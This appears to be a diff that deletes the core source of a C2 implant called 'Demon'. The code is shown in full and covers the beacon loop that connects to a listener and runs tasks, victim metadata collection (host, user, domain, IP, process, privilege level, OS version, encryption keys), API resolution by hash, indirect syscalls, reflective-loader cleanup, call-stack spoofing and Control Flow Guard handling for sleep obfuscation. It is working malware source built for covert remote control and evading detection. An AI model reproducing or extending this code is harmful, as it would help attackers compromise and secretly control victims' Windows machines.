if ( Trampoline != NULL ) {
PRM param = { Trampoline, Function };
return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &param, NULL, e, f, g, h );
}
}
return NULL;
}
#endif
-786
View File
@@ -1,786 +0,0 @@
#include <Demon.h>
/* Import Common Headers */
#include <Common/Defines.h>
#include <Common/Macros.h>
/* Import Core Headers */
#include <Core/Transport.h>
#include <Core/SleepObf.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/SysNative.h>
#include <Core/Runtime.h>
/* Import Inject Headers */
#include <Inject/Inject.h>
/* Import Inject Headers */
#include <Loader/ObjectApi.h>
/* Global Variables */
SEC_DATA INSTANCE Instance = { 0 };
SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES;
/*
* In DemonMain it should go as followed:
*
* 1. Initialize pointer, modules and win32 api
* 2. Initialize metadata
* 3. Parse config
* 4. Enter main connecting and tasking routine
*
*/
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
{
/* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */
DemonInit( ModuleInst, KArgs );
/* Initialize MetaData */
DemonMetaData( &Instance.MetaData, TRUE );
/* Main demon routine */
DemonRoutine();
}
/* Main demon routine:
*
* 1. Connect to listener
* 2. Go into tasking routine:
* A. Sleep Obfuscation.
* B. Request for the task queue
* C. Parse Task
* D. Execute Task (if it's not DEMON_COMMAND_NO_JOB)
* E. Goto C (we do this til there is nothing left)
* F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more)
* 3. Sleep Obfuscation. After that lets try to connect to the listener again
*/
_Noreturn
VOID DemonRoutine()
{
/* the main loop */
for ( ;; )
{
/* if we aren't connected then lets connect to our host */
if ( ! Instance.Session.Connected )
{
/* Connect to our listener */
if ( TransportInit() )
{
#ifdef TRANSPORT_HTTP
/* reset the failure counter since we managed to connect to it. */
Instance.Config.Transport.Host->Failures = 0;
#endif
}
}
if ( Instance.Session.Connected )
{
/* Enter tasking routine */
CommandDispatcher();
}
/* Sleep for a while (with encryption if specified) */
SleepObf();
}
}
/* Init metadata buffer/package. */
VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )
{
PVOID Data = NULL;
PIP_ADAPTER_INFO Adapter = NULL;
OSVERSIONINFOEXW OsVersions = { 0 };
SIZE_T Length = 0;
DWORD dwLength = 0;
/* Check we if we want to add the Agent Header + CommandID too */
if ( Header )
{
*MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE );
/* Do not destroy this package if we fail to connect to the listener. */
( *MetaData )->Destroy = FALSE;
}
// create AES Keys/IV
if ( Instance.Config.AES.Key == NULL && Instance.Config.AES.IV == NULL )
{
Instance.Config.AES.Key = Instance.Win32.LocalAlloc( LPTR, 32 );
Instance.Config.AES.IV = Instance.Win32.LocalAlloc( LPTR, 16 );
for ( SHORT i = 0; i < 32; i++ )
Instance.Config.AES.Key[ i ] = RandomNumber32();
for ( SHORT i = 0; i < 16; i++ )
Instance.Config.AES.IV[ i ] = RandomNumber32();
}
/*
Header (if specified):
[ SIZE ] 4 bytes
[ Magic Value ] 4 bytes
[ Agent ID ] 4 bytes
[ COMMAND ID ] 4 bytes
[ Request ID ] 4 bytes
MetaData:
[ AES KEY ] 32 bytes
[ AES IV ] 16 bytes
[ Magic Value ] 4 bytes
[ Demon ID ] 4 bytes
[ Host Name ] size + bytes
[ User Name ] size + bytes
[ Domain ] size + bytes
[ IP Address ] 16 bytes?
[ Process Name ] size + bytes
[ Process ID ] 4 bytes
[ Parent PID ] 4 bytes
[ Process Arch ] 4 bytes
[ Elevated ] 4 bytes
[ Base Address ] 8 bytes
[ OS Info ] ( 5 * 4 ) bytes
[ OS Arch ] 4 bytes
[ SleepDelay ] 4 bytes
[ SleepJitter ] 4 bytes
[ Killdate ] 8 bytes
[ WorkingHours ] 4 bytes
..... more
[ Optional ] Eg: Pivots, Extra data about the host or network etc.
*/
// Add AES Keys/IV
PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.Key, 32 );
PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.IV, 16 );
// Add session id
PackageAddInt32( *MetaData, Instance.Session.AgentID );
// Get Computer name
dwLength = 0;
if ( ! Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) )
{
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Username
dwLength = 0;
if ( ! Instance.Win32.GetUserNameA( NULL, &dwLength ) )
{
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance.Win32.GetUserNameA( Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Domain
dwLength = 0;
if ( ! Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) )
{
if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get internal IP
dwLength = 0;
if ( Instance.Win32.GetAdaptersInfo( NULL, &dwLength ) )
{
if ( ( Adapter = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) )
{
if ( Instance.Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR )
PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Adapter, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Process Path
PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance.Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer );
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueProcess );
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueThread );
PackageAddInt32( *MetaData, Instance.Session.PPID );
PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH );
PackageAddInt32( *MetaData, BeaconIsAdmin( ) );
PackageAddInt64( *MetaData, Instance.Session.ModuleBase );
MemSet( &OsVersions, 0, sizeof( OsVersions ) );
OsVersions.dwOSVersionInfoSize = sizeof( OsVersions );
Instance.Win32.RtlGetVersion( &OsVersions );
PackageAddInt32( *MetaData, OsVersions.dwMajorVersion );
PackageAddInt32( *MetaData, OsVersions.dwMinorVersion );
PackageAddInt32( *MetaData, OsVersions.wProductType );
PackageAddInt32( *MetaData, OsVersions.wServicePackMajor );
PackageAddInt32( *MetaData, OsVersions.dwBuildNumber );
PackageAddInt32( *MetaData, Instance.Session.OS_Arch );
PackageAddInt32( *MetaData, Instance.Config.Sleeping );
PackageAddInt32( *MetaData, Instance.Config.Jitter );
PackageAddInt64( *MetaData, Instance.Config.Transport.KillDate );
PackageAddInt32( *MetaData, Instance.Config.Transport.WorkingHours );
}
VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )
{
OSVERSIONINFOEXW OSVersionExW = { 0 };
PVOID RtModules[] = {
RtAdvapi32,
//RtMscoree,
RtOleaut32,
RtUser32,
RtShell32,
RtMsvcrt,
RtIphlpapi,
RtGdi32,
RtNetApi32,
RtWs2_32,
RtSspicli,
#ifdef TRANSPORT_HTTP
RtWinHttp,
#endif
};
MemSet( &Instance, 0, sizeof( INSTANCE ) );
Instance.Teb = NtCurrentTeb();
#ifdef TRANSPORT_HTTP
PUTS( "TRANSPORT_HTTP" )
#endif
#ifdef TRANSPORT_SMB
PUTS( "TRANSPORT_SMB" )
#endif
/* resolve ntdll.dll functions */
if ( ( Instance.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
/* Module/Address function loading */
Instance.Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS );
Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRLOADDLL );
/* Rtl functions */
Instance.Win32.RtlAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP );
Instance.Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP );
Instance.Win32.RtlFreeHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLFREEHEAP );
Instance.Win32.RtlExitUserThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD );
Instance.Win32.RtlExitUserProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS );
Instance.Win32.RtlRandomEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLRANDOMEX );
Instance.Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR );
Instance.Win32.RtlGetVersion = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLGETVERSION );
Instance.Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE );
Instance.Win32.RtlCreateTimer = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMER );
Instance.Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM );
Instance.Win32.RtlRegisterWait = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREGISTERWAIT );
Instance.Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE );
Instance.Win32.RtlCaptureContext = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT );
Instance.Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER );
Instance.Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER );
Instance.Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY );
/* Native functions */
Instance.Win32.NtClose = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCLOSE );
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT );
Instance.Win32.NtSetEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETEVENT );
Instance.Win32.NtSetInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD );
Instance.Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY );
Instance.Win32.NtGetNextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD );
Instance.Win32.NtOpenProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESS );
Instance.Win32.NtTerminateProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS );
Instance.Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS );
Instance.Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION );
Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY );
Instance.Win32.NtQueueApcThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD );
Instance.Win32.NtOpenThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREAD );
Instance.Win32.NtOpenThreadToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN );
Instance.Win32.NtResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTRESUMETHREAD );
Instance.Win32.NtSuspendThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD );
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT );
Instance.Win32.NtDuplicateObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT );
Instance.Win32.NtGetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD );
Instance.Win32.NtSetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD );
Instance.Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT );
Instance.Win32.NtAlertResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD );
Instance.Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT );
Instance.Win32.NtTestAlert = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTESTALERT );
Instance.Win32.NtCreateThreadEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATETHREADEX );
Instance.Win32.NtOpenProcessToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN );
Instance.Win32.NtDuplicateToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN );
Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY );
Instance.Win32.NtTerminateThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATETHREAD );
Instance.Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY );
Instance.Win32.NtContinue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCONTINUE );
Instance.Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY );
Instance.Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY );
Instance.Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION );
Instance.Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY );
Instance.Win32.NtQueryInformationToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN );
Instance.Win32.NtQueryInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD );
Instance.Win32.NtQueryObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYOBJECT );
Instance.Win32.NtTraceEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTRACEEVENT );
} else {
PUTS( "Failed to load ntdll from PEB" )
return;
}
/* resolve Windows version */
Instance.Session.OSVersion = WIN_VERSION_UNKNOWN;
OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW );
if ( NT_SUCCESS( Instance.Win32.RtlGetVersion( &OSVersionExW ) ) ) {
if ( OSVersionExW.dwMajorVersion >= 5 ) {
if ( OSVersionExW.dwMajorVersion == 5 ) {
if ( OSVersionExW.dwMinorVersion == 1 ) {
Instance.Session.OSVersion = WIN_VERSION_XP;
}
} else if ( OSVersionExW.dwMajorVersion == 6 ) {
if ( OSVersionExW.dwMinorVersion == 0 ) {
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008;
} else if ( OSVersionExW.dwMinorVersion == 1 ) {
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2;
} else if ( OSVersionExW.dwMinorVersion == 2 ) {
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012;
} else if ( OSVersionExW.dwMinorVersion == 3 ) {
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2;
}
} else if ( OSVersionExW.dwMajorVersion == 10 ) {
if ( OSVersionExW.dwMinorVersion == 0 ) {
Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X;
}
}
}
} PRINTF( "OSVersion: %d\n", Instance.Session.OSVersion );
/* load kernel32.dll functions */
if ( ( Instance.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) {
Instance.Win32.LoadLibraryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOADLIBRARYW );
Instance.Win32.VirtualProtectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX );
Instance.Win32.VirtualProtect = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECT );
Instance.Win32.LocalAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALALLOC );
Instance.Win32.LocalReAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALREALLOC );
Instance.Win32.LocalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALFREE );
Instance.Win32.CreateRemoteThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD );
Instance.Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT );
Instance.Win32.Process32FirstW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32FIRSTW );
Instance.Win32.Process32NextW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32NEXTW );
Instance.Win32.CreatePipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPIPE );
Instance.Win32.CreateProcessW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPROCESSW );
Instance.Win32.GetFullPathNameW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW );
Instance.Win32.CreateFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFILEW );
Instance.Win32.GetFileSize = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZE );
Instance.Win32.GetFileSizeEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZEEX );
Instance.Win32.CreateNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW );
Instance.Win32.ConvertFiberToThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD );
Instance.Win32.CreateFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFIBEREX );
Instance.Win32.ReadFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_READFILE );
Instance.Win32.VirtualAllocEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALALLOCEX );
Instance.Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX );
Instance.Win32.GetComputerNameExA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA );
Instance.Win32.GetExitCodeProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS );
Instance.Win32.GetExitCodeThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODETHREAD );
Instance.Win32.TerminateProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_TERMINATEPROCESS );
Instance.Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX );
Instance.Win32.SwitchToFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SWITCHTOFIBER );
Instance.Win32.DeleteFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFIBER );
Instance.Win32.AllocConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ALLOCCONSOLE );
Instance.Win32.FreeConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREECONSOLE );
Instance.Win32.GetConsoleWindow = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW );
Instance.Win32.GetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSTDHANDLE );
Instance.Win32.SetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETSTDHANDLE );
Instance.Win32.WaitNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW );
Instance.Win32.PeekNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE );
Instance.Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE );
Instance.Win32.WriteFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITEFILE );
Instance.Win32.ConnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE );
Instance.Win32.FreeLibrary = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREELIBRARY );
Instance.Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW );
Instance.Win32.GetFileAttributesW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW );
Instance.Win32.FindFirstFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDFIRSTFILEW );
Instance.Win32.FindNextFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDNEXTFILEW );
Instance.Win32.FindClose = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDCLOSE );
Instance.Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME );
Instance.Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME );
Instance.Win32.RemoveDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW );
Instance.Win32.DeleteFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFILEW );
Instance.Win32.CreateDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEDIRECTORYW );
Instance.Win32.CopyFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_COPYFILEW );
Instance.Win32.MoveFileExW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_MOVEFILEEXW );
Instance.Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW );
Instance.Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION );
Instance.Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION );
Instance.Win32.GetModuleHandleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETMODULEHANDLEA );
Instance.Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME );
Instance.Win32.GetLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETLOCALTIME );
Instance.Win32.DuplicateHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DUPLICATEHANDLE );
Instance.Win32.AttachConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ATTACHCONSOLE );
Instance.Win32.WriteConsoleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITECONSOLEA );
Instance.Win32.GlobalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GLOBALFREE );
}
/* now that we loaded some of the basic apis lets parse the config and see how we load the rest */
/* Parse config */
DemonConfig();
/* now do post init stuff after parsing the config */
if ( Instance.Config.Implant.SysIndirect )
{
/* Initialize indirect syscalls + get SSN from every single syscall we need */
if ( ! SysInitialize( Instance.Modules.Ntdll ) ) {
PUTS( "Failed to Initialize syscalls" )
/* NOTE: the agent is going to keep going for now. */
}
}
/* shuffle array */
ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) );
/* load all modules */
for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ )
{
/* load module */
if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) {
PUTS( "Failed to load a module" )
return;
}
}
if ( KArgs )
{
#if SHELLCODE
Instance.Session.ModuleBase = KArgs->Demon;
Instance.Session.ModuleSize = KArgs->DemonSize;
Instance.Session.TxtBase = KArgs->TxtBase;
Instance.Session.TxtSize = KArgs->TxtSize;
FreeReflectiveLoader( KArgs->KaynLdr );
#endif
}
else
{
Instance.Session.ModuleBase = ModuleInst;
/* if ModuleBase has not been specified then lets use the current process one */
if ( ! Instance.Session.ModuleBase ) {
/* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */
Instance.Session.ModuleBase = LdrModulePeb( 0 );
}
if ( Instance.Session.ModuleBase ) {
Instance.Session.ModuleSize = IMAGE_SIZE( Instance.Session.ModuleBase );
}
}
#if _WIN64
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64;
#else
Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL;
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN;
if ( ProcessIsWow( NtCurrentProcess() ) ) {
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64;
} else {
Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL;
}
#endif
Instance.Session.PID = U_PTR( Instance.Teb->ClientId.UniqueProcess );
Instance.Session.TID = U_PTR( Instance.Teb->ClientId.UniqueThread );
Instance.Session.Connected = FALSE;
Instance.Session.AgentID = RandomNumber32();
Instance.Config.AES.Key = NULL; /* TODO: generate keys here */
Instance.Config.AES.IV = NULL;
/* Linked lists */
Instance.Tokens.Vault = NULL;
Instance.Tokens.Impersonate = FALSE;
Instance.Jobs = NULL;
Instance.Downloads = NULL;
Instance.Sockets = NULL;
Instance.HwBpEngine = NULL;
Instance.Packages = NULL;
/* Global Objects */
Instance.Dotnet = NULL;
/* if cfg is enforced (and if sleep obf is enabled)
* add every address we're going to use to the Cfg address list
* to not raise an exception while performing sleep obfuscation */
if ( CfgQueryEnforced() )
{
PUTS( "Adding required function module &addresses to the cfg list" );
/* common functions */
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtContinue );
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetContextThread );
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtGetContextThread );
CfgAddressAdd( Instance.Modules.Advapi32, Instance.Win32.SystemFunction032 );
/* ekko sleep obf */
CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.WaitForSingleObjectEx );
CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.VirtualProtect );
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetEvent );
/* foliage sleep obf */
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtTestAlert );
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtWaitForSingleObject );
CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtProtectVirtualMemory );
